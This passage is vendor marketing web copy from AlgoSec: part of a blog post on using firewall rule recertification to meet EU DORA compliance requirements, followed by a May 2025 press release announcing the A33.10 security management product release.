reviewing outdated rules, AlgoSec ties each firewall rule to the specific application it serves, allowing for quick identification of redundant or risky rules. This ensures compliance with DORA’s requirement for regular rule recertification in both ICT risk management and continuity planning (Articles 6 and 11). Benefit : Continuous optimization of security policies ensures that only necessary and secure rules are in place, reducing network risk and maintaining compliance. 5. Managing third-party risk DORA emphasizes the need to oversee third-party ICT providers as part of a broader risk management framework. AlgoSec integrates seamlessly with other security tools, providing unified visibility into third-party risks across your hybrid environment. With its automated recertification processes, AlgoSec ensures that security policies governing third-party access are regularly reviewed and aligned with business needs. Benefit : This proactive management of third-party risks helps prevent potential breaches and ensures compliance with DORA’s ICT Business Continuity requirements (Article 11). 6. Backup, Restoration, and Recovery AlgoSec helps secure backup and recovery systems by recertifying firewall rules that protect critical assets and applications. DORA’s Backup, Restoration, and Recovery (Article 12) requirements emphasize that security controls must be periodically tested. AlgoSec automates these tests, ensuring your firewall rules support secure, segregated backup systems. Benefit : Automated recertification prevents outdated or insecure rules from jeopardizing your backup processes, ensuring you meet regulatory demands. Stay ahead of compliance with AlgoSec Meeting evolving regulations like DORA requires more than a one-time adjustment—it demands a dynamic, proactive approach to security and compliance. AlgoSec’s application-centric platform is designed to evolve with your business, continuously aligning firewall rules with active applications and automating the process of policy recertification and compliance reporting. By automating key processes such as risk assessments, firewall rule management, and policy recertification, AlgoSec ensures that your organization is always prepared for audits. Continuous monitoring and real-time alerts keep your security posture compliant with DORA and other regulations, while automated reports simplify audit preparation—minimizing the time spent on compliance and reducing human error. With AlgoSec, businesses not only meet compliance regulations but also enhance operational efficiency, improve security, and maintain alignment with global standards. As DORA and other regulatory frameworks evolve, AlgoSec helps you ensure that compliance is an integral, seamless part of your operations. Read our latest whitepaper and watch a short video to learn more about our application-centric approach to firewall rule recertification Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

The new product version release provides extended multi-cloud hybrid network visibility, reduces risk exposure and addresses new compliance regulations in a unified platform AlgoSec Security Management solution A33.10 delivers new compliance reporting and precise discovery of application connectivity The new product version release provides extended multi-cloud hybrid network visibility, reduces risk exposure and addresses new compliance regulations in a unified platform May 20, 2025 Speak to one of our experts RIDGEFIELD PARK, NJ, May 20, 2025 – Global cybersecurity leader AlgoSec has launched its new Security Management solution version A33.10, as a part of its AlgoSec Horizon platform. The new release provides better visibility across multi-cloud hybrid network environments, prioritizes risks more easily, reduces compliance effort and cuts down on manual processes by automating policy changes. As network environments grow more distributed, visibility becomes harder to maintain. The 2025 State of Network Security Report found that 71% of security teams struggle with visibility, which is delaying threat detection and response. Without comprehensive network visibility, security teams lack a clear understanding of application behavior to protect, detect, and prevent vulnerabilities. “AlgoSec is committed to updating its products to solve everyday problems that security teams face,” said Eran Shiff , VP Product of AlgoSec. “The A33.10 release ensures that our customers have clear and unified visibility into their complex hybrid network environment to reduce manual processes and ensure proper compliance reporting.” Highlights from the AlgoSec Horizon product update include: ● Visibility continues at the application level. Application security management is now faster and smarter with AlgoSec Horizon Security Analyzer and AlgoSec ACE ’s cloud application discovery as a datasource, allowing the creation of an application library fast. ● Security and compliance go hand in hand. To prepare security teams for audits and identify risks earlier, the new update includes a dedicated DORA and SOC2 compliance reporting, as well as built-in MITRE ATT&CK mapping. ● Streamlined application traffic view. This release introduces early availability support for AWS Load Balancer and Cisco Catalyst SD-WAN (Viptela), helping teams clearly see how traffic traverses across hybrid infrastructure and make more informed decisions. To learn more about the new A33.10 product release, click here . About AlgoSec AlgoSec, a global cybersecurity leader, empowers organizations to securely accelerate application delivery up to 10 times faster by automating application connectivity and security policy across the hybrid network environment. With two decades of expertise securing hybrid networks, over 2200 of the world's most complex organizations trust AlgoSec to help secure their most critical workloads. AlgoSec Horizon platform utilizes advanced AI capabilities, enabling users to automatically discover and identify their business applications across multi-clouds, and remediate risks more effectively. It serves as a single source for visibility into security and compliance issues across the hybrid network environment, to ensure ongoing adherence to internet security standards, industry, and internal regulations. Additionally, organizations can leverage intelligent change automation to streamline security change processes, thus improving security and agility. Learn how AlgoSec enables application owners, information security experts, SecOps and cloud security teams to deploy business applications faster while maintaining security at www.algosec.com . MEDIA CONTACT: Megan Davis Alloy, on behalf of AlgoSec [email protected]